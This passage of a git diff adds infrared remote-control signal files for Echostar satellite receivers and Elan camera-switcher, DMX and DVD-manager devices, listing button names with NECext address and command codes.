00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: switch +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: KEY_SAT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2E 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 32 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 35 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/Unknown_DSB-616/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Echostar/Unknown_DSB-616/5,-1.ir new file mode 100644 index 000000000..b7466cfe3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Echostar/Unknown_DSB-616/5,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 14 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 15 00 00 00 +# +name: screen +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 16 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 18 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 19 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1A 00 00 00 +# +name: white +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1B 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1C 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1E 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1F 00 00 00 +# +name: freeze +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 22 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 23 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 24 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 25 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 27 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 28 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2B 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2D 00 00 00 +# +name: KEY_SAT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2E 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2F 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 30 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 33 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: vol? +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/Unknown_DSB-636/4,0.ir b/assets/resources/infrared/_CSV-IRDB_/Echostar/Unknown_DSB-636/4,0.ir new file mode 100644 index 000000000..181924fc9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Echostar/Unknown_DSB-636/4,0.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: More +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: PrevChan +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2E 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 32 00 00 00 +# +name: TvSat +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/Camera Switcher/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Elan/Camera Switcher/0,-1.ir new file mode 100644 index 000000000..991b0e6df --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elan/Camera Switcher/0,-1.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: QUAD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: FREEZE/SEQUENCE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: CURSOR_ENTER/MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/DMX/100,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Elan/DMX/100,-1.ir new file mode 100644 index 000000000..ebb795b0a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elan/DMX/100,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 64 00 00 00 +command: CD 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 64 00 00 00 +command: CE 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 64 00 00 00 +command: CF 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 64 00 00 00 +command: D0 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 64 00 00 00 +command: D1 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 64 00 00 00 +command: D2 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 64 00 00 00 +command: D3 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 64 00 00 00 +command: D4 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 64 00 00 00 +command: D5 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 64 00 00 00 +command: D6 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 64 00 00 00 +command: D7 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 64 00 00 00 +command: D8 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 64 00 00 00 +command: DA 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 64 00 00 00 +command: DB 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 64 00 00 00 +command: DC 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 64 00 00 00 +command: DD 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 64 00 00 00 +command: DE 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 64 00 00 00 +command: E3 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 64 00 00 00 +command: E4 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 64 00 00 00 +command: E5 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 64 00 00 00 +command: E7 00 00 00 +# +name: REPEAT_CAPS +type: parsed +protocol: NECext +address: 64 00 00 00 +command: E8 00 00 00 +# +name: RETURN_DELETE +type: parsed +protocol: NECext +address: 64 00 00 00 +command: E9 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 64 00 00 00 +command: EB 00 00 00 +# +name: OSD +type: parsed +protocol: NECext +address: 64 00 00 00 +command: EC 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 64 00 00 00 +command: ED 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 64 00 00 00 +command: EE 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 64 00 00 00 +command: EF 00 00 00 +# +name: CHANGER +type: parsed +protocol: NECext +address: 64 00 00 00 +command: F0 00 00 00 +# +name: NEXT_CHAPTER +type: parsed +protocol: NECext +address: 64 00 00 00 +command: F1 00 00 00 +# +name: PREVIOUS_CHAPTER +type: parsed +protocol: NECext +address: 64 00 00 00 +command: F2 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 64 00 00 00 +command: F3 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 64 00 00 00 +command: F4 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 64 00 00 00 +command: F5 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: 64 00 00 00 +command: F6 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 64 00 00 00 +command: F7 00 00 00 +# +name: SEEK_BACK +type: parsed +protocol: NECext +address: 64 00 00 00 +command: F8 00 00 00 +# +name: SEEK_FORWARD +type: parsed +protocol: NECext +address: 64 00 00 00 +command: F9 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/DMX/14,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Elan/DMX/14,-1.ir new file mode 100644 index 000000000..fa7039275 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elan/DMX/14,-1.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 09 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0B 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0C 00 00 00 +# +name: OUTPUT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0D 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0E 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0F 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 11 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 12 00 00 00 +# +name: DELETE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 13 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 14 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 15 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 16 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 17 00 00 00 +# +name: ALBUM +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 18 00 00 00 +# +name: ARTIST +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 19 00 00 00 +# +name: GENRE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1A 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1B 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1C 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1D 00 00 00 +# +name: TRACK_+ +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 20 00 00 00 +# +name: TRACK_- +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 21 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 30 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 31 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 36 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 37 00 00 00 +# +name: DEFAULT_O/P +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 38 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 39 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 3A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/DMX/96,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Elan/DMX/96,-1.ir new file mode 100644 index 000000000..7eac6912f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elan/DMX/96,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: CD 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: CE 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: CF 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: D0 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: D1 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: D2 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: D3 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: D4 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: D5 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: D6 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 60 00 00 00 +command: D7 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 60 00 00 00 +command: D9 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: DA 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: DB 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 60 00 00 00 +command: DC 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 60 00 00 00 +command: DC 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 60 00 00 00 +command: DD 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 60 00 00 00 +command: DE 00 00 00 +# +name: ALBUM +type: parsed +protocol: NECext +address: 60 00 00 00 +command: E3 00 00 00 +# +name: ARTIST +type: parsed +protocol: NECext +address: 60 00 00 00 +command: E4 00 00 00 +# +name: GENRE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: E5 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: 60 00 00 00 +command: E7 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: E8 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 60 00 00 00 +command: E9 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 60 00 00 00 +command: EB 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: ED 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 60 00 00 00 +command: EE 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: EF 00 00 00 +# +name: OUTPUT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: F0 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: F1 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: 60 00 00 00 +command: F2 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 60 00 00 00 +command: F3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 60 00 00 00 +command: F3 00 00 00 +# +name: DELETE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: F4 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 60 00 00 00 +command: F5 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: F7 00 00 00 +# +name: TRACK_- +type: parsed +protocol: NECext +address: 60 00 00 00 +command: F8 00 00 00 +# +name: TRACK_+ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: F9 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/DMX/99,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Elan/DMX/99,-1.ir new file mode 100644 index 000000000..eac301f02 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elan/DMX/99,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 63 00 00 00 +command: CD 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 63 00 00 00 +command: CE 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 63 00 00 00 +command: CF 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 63 00 00 00 +command: D0 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 63 00 00 00 +command: D1 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 63 00 00 00 +command: D2 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 63 00 00 00 +command: D3 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 63 00 00 00 +command: D4 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 63 00 00 00 +command: D5 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 63 00 00 00 +command: D6 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 63 00 00 00 +command: D7 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 63 00 00 00 +command: D8 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 63 00 00 00 +command: D9 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 63 00 00 00 +command: DA 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 63 00 00 00 +command: DB 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 63 00 00 00 +command: DC 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 63 00 00 00 +command: DD 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 63 00 00 00 +command: DE 00 00 00 +# +name: ARTIST +type: parsed +protocol: NECext +address: 63 00 00 00 +command: E4 00 00 00 +# +name: GENRE +type: parsed +protocol: NECext +address: 63 00 00 00 +command: E5 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: 63 00 00 00 +command: E7 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 63 00 00 00 +command: E8 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 63 00 00 00 +command: E9 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 63 00 00 00 +command: EB 00 00 00 +# +name: DEFAULT_O/P +type: parsed +protocol: NECext +address: 63 00 00 00 +command: EC 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 63 00 00 00 +command: ED 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 63 00 00 00 +command: EE 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 63 00 00 00 +command: EF 00 00 00 +# +name: OUTPUT +type: parsed +protocol: NECext +address: 63 00 00 00 +command: F0 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: 63 00 00 00 +command: F1 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: 63 00 00 00 +command: F2 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 63 00 00 00 +command: F3 00 00 00 +# +name: DELETE +type: parsed +protocol: NECext +address: 63 00 00 00 +command: F4 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 63 00 00 00 +command: F5 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: 63 00 00 00 +command: F6 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 63 00 00 00 +command: F7 00 00 00 +# +name: TRACK_- +type: parsed +protocol: NECext +address: 63 00 00 00 +command: F8 00 00 00 +# +name: TRACK_+ +type: parsed +protocol: NECext +address: 63 00 00 00 +command: F9 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/DVD Manager/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Elan/DVD Manager/15,-1.ir new file mode 100644 index 000000000..de478c6d7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elan/DVD Manager/15,-1.ir @@ -0,0 +1,284 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 09 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0B 00 00 00 +# +name: NEW_CODE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0B 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0C 00 00 00 +# +name: CHANGER_OUTPUT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0D 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0E 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0F 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 11 00 00 00 +# 